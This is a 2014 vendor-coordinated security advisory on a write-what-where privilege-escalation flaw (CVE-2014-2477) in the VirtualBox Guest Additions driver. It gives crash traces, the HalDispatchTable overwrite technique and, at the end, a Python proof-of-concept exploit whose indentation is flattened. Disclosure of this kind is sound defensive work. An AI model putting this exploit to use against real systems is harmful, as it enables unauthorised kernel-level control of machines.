Title: Oracle VirtualBox Guest Additions Arbitrary Write Privilege Escalation
Advisory ID: KL-001-2014-001
Publication Date: 07.15.2014
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2014-001.txt

1. Vulnerability Details

Affected Vendor: Oracle
Affected Product: VirtualBox Guest Additions
Affected Versions: 4.3.8 - 4.3.10
Platform: Microsoft XP SP3
CWE Classification: CWE-123: Write-what-where Condition
Impact: Arbitrary code execution
Attack vector: IOCTL
CVE ID: CVE-2014-2477

2. Vulnerability Description

   A vulnerability within VBoxGuest module allows an attacker to
   inject memory they control into an arbitrary location they
   define. This can be used by an attacker to overwrite
   HalDispatchTable+0x4 and execute arbitrary code by subsequently
   calling NtQueryIntervalProfile.

3. Technical Description

   A userland process can create a handle into the VBoxGuest device
   and subsequently make DeviceIoControlFile() calls into that
   device. During the IRP handler routine for 0x0022a040 the user
   provided OutputBuffer address is not validated. This allows an
   attacker to specify an arbitrary address and write (or overwrite)
   the memory residing at the specified address. This is classicaly
   known as a write-what-where vulnerability and has well known
   exploitation methods associated with it.

   A stack trace from our fuzzing can be seen below. In our fuzzing
   testcase, the specified OutputBuffer in the DeviceIoControlFile()
   call is 0xffff0000.

   STACK_TEXT:
   f824a9d4 805241e0 00000050 ffff0000 00000001 nt!KeBugCheckEx+0x1b
   f824aa20 804e172b 00000001 ffff0000 00000000 nt!MmAccessFault+0x6f5
   f824aa20 804eca3b 00000001 ffff0000 00000000 nt!KiTrap0E+0xcc
   f824aaf0 804ecaba ffa74248 f824ab3c f824ab30 nt!IopCompleteRequest+0x92
   f824ab40 806f5c0e 00000000 00000000 f824ab58 nt!KiDeliverApc+0xb3
   f824ab40 806f00b3 00000000 00000000 f824ab58 hal!HalpApcInterrupt2ndEntry+0x31
   f824abcc 804e546c ffa74248 ffa74208 00000000 hal!KfLowerIrql+0x43
   f824abec 804ecad4 ffa74248 811772d8 00000000 nt!KeInsertQueueApc+0x4b
   f824ac20 faa36123 811772d8 81297558 00000000 nt!IopfCompleteRequest+0x1d8
   f824ac34 804e3807 0000008c 0000008c 806f0070 VBoxGuest+0x1123
   f824ac44 80568191 ffa7429c 811772d8 ffa74208 nt!IopfCallDriver+0x31
   f824ac58 805770ca 812971a8 ffa74208 811772d8 nt!IopSynchronousServiceTail+0x70
   f824ad00 805795e3 00000058 00000000 00000000 nt!IopXxxControlFile+0x611
   f824ad34 804de7ec 00000058 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
   f824ad34 7c90e526 00000058 00000000 00000000 nt!KiFastCallEntry+0xf8
   0021fa54 7c90d28a 1d1adc9a 00000058 00000000 ntdll!KiIntSystemCall+0x6
   0021fa58 1d1adc9a 00000058 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc

   Reviewing the TRAP_FRAME at the time of crash we can see
   IopCompleteRequest() copying data from InputBuffer into the
   OutputBuffer. InputBuffer is another parameter provided to the
   DeviceIoControlFile() function and is therefore controllable by
   the attacker. The edi register contains the invalid address
   provided during the fuzz testcase.

   ErrCode = 00000002
   eax=0000008c ebx=ffa74208 ecx=00000023 edx=00000000 esi=811eabf0 edi=ffff0000
   eip=804eca3b esp=f824aaac ebp=f824aaf0 iopl=0 nv up ei pl nz na po nc
   cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010202
   nt!IopCompleteRequest+0x92:
   0008:804eca3b f3a5 rep movs dword ptr es:[edi],dword ptr [esi]

   A write-what-where vulnerability can be leveraged to obtained
   escalated privileges. To do so, an attacker will need to allocate
   memory in userland that is populated with shellcode designed to
   find the Token for PID 4 (System) and then overwrite the token
   for its own process. By leveraging the vulnerability it is then
   possible to overwrite the pointer at HalDispatchTable+0x4 with a
   pointer to our shellcode. Calling NtQueryIntervalProfile() will
   subsequently call HalDispatchTable+0x4, execute our shellcode,
   and elevate the privilege of the exploit process.

4. Mitigation and Remediation Recommendation

   The vendor has patched this vulnerability. The patch information
   is here:
   http://www.oracle.com/technetwork/topics/security/cpujul2014-1972956.html

5. Credit

   This vulnerability was discovered by Matt Bergin of KoreLogic
   Security, Inc.

6. Disclosure Timeline

   04.28.14 - KoreLogic contacts Oracle with vulnerability report and PoC.
   04.29.14 - Oracle acknowledges receipt of vulnerability report and PoC.
   05.02.14 - Oracle assigns tracking to this vulnerability report
   and states that it will be patched in the CPU cycle,
   with credit for the report given to KoreLogic. Oracle
   also states monthly updates will be provided.
   05.22.14 - Oracle provides KoreLogic with status update
   indicating the vulnerability will be patched in an
   upcoming CPU and states that they will publicly
   acknowledge KoreLogic in the associated public
   bulletin.
   06.11.14 - KoreLogic informs Oracle that 30 days have passed
   since vendor acknowledgement of the initial report.
   KoreLogic requests CVE number for the vulnerability,
   if there is one. KoreLogic also requests vendor's
   public identifier for the vulnerability along with the
   expected disclosure date.
   06.11.14 - Oracle responds with CVE number, expected release date
   of 07.15.14 and public identifier (CVE number).
   06.24.14 - Oracle provides status update.
   07.02.14 - 45 business days have elapsed since vendor
   acknowledged vulnerability.
   07.11.14 - Oracle provides expected CPU release time.
   07.15.14 - Coordinated public release of vulnerability and vendor
   patch.

7. Proof of Concept

   KL-001-2014-001 : Oracle VirtualBox Guest Additions Arbitrary Write Privilege Escalation

   Oracle VirtualBox 4.3.8-4.3.10

   Matt Bergin (KoreLogic/Smash the Stack)

   thanks to bla

   from ctypes import *
   from struct import pack
   from os import getpid,system
   from sys import exit
   EnumDeviceDrivers,GetDeviceDriverBaseNameA,CreateFileA,NtAllocateVirtualMemory,WriteProcessMemory,LoadLibraryExA = windll.Psapi.EnumDeviceDrivers,windll.Psapi.GetDeviceDriverBaseNameA,windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory,windll.kernel32.LoadLibraryExA
   GetProcAddress,DeviceIoControlFile,NtQueryIntervalProfile,CloseHandle = windll.kernel32.GetProcAddress,windll.ntdll.ZwDeviceIoControlFile,windll.ntdll.NtQueryIntervalProfile,windll.kernel32.CloseHandle
   VirtualProtect = windll.kernel32.VirtualProtect
   INVALID_HANDLE_VALUE,FILE_SHARE_READ,FILE_SHARE_WRITE,OPEN_EXISTING,NULL = -1,2,1,3,0

   thanks to offsec for the concept

   I re-wrote the code as to not fully insult them

   def getBase(name=None):
   retArray = c_ulong*1024
   ImageBase = retArray()
   callback = c_int(1024)
   cbNeeded = c_long()
   EnumDeviceDrivers(byref(ImageBase),callback,byref(cbNeeded))
   for base in ImageBase:
   driverName = c_char_p("\x00"*1024)
   GetDeviceDriverBaseNameA(base,driverName,48)
   if (name):
   if (driverName.value.lower() == name):
   return base
   else:
   return (base,driverName.value)
   return None

   handle = CreateFileA("\\\\.\\VBoxGuest",FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None)
   print "[+] Handle \\\\.\\VBoxGuest @ %s" % (handle)
   NtAllocateVirtualMemory(-1,byref(c_int(0x1)),0x0,byref(c_int(0xffff)),0x1000|0x2000,0x40)
   buf = "\xcc\xcc\xcc\xcc"*35
   WriteProcessMemory(-1, 0x1, "\x90"*0x6000, 0x6000, byref(c_int(0)))
   WriteProcessMemory(-1, 0x1, buf, 140, byref(c_int(0)))
   #Overwrite Pointer
   kBase,kVer = getBase()
   hKernel = LoadLibraryExA(kVer,0,1)
   HalDispatchTable = GetProcAddress(hKernel,"HalDispatchTable")
   HalDispatchTable -= hKernel
   HalDispatchTable += kBase
   HalDispatchTable += 0x4
   print "[+] Kernel @ %s, HalDispatchTable @ %s" % (hex(kBase),hex(HalDispatchTable))
   DeviceIoControlFile(handle,NULL,NULL,NULL,byref(c_ulong(8)),0x22a040,0x1,140,HalDispatchTable-40,0)
   print "[+] HalDispatchTable+0x4 overwritten"
   CloseHandle(handle)
   NtQueryIntervalProfile(c_ulong(2),byref(c_ulong()))
   #Something bad happened
   exit(0)

The contents of this advisory are copyright(c) 2014 KoreLogic, Inc.
and are licensed under a Creative Commons Attribution Share-Alike 4.0
(United States) License:
http://creativecommons.org/licenses/by-sa/4.0/

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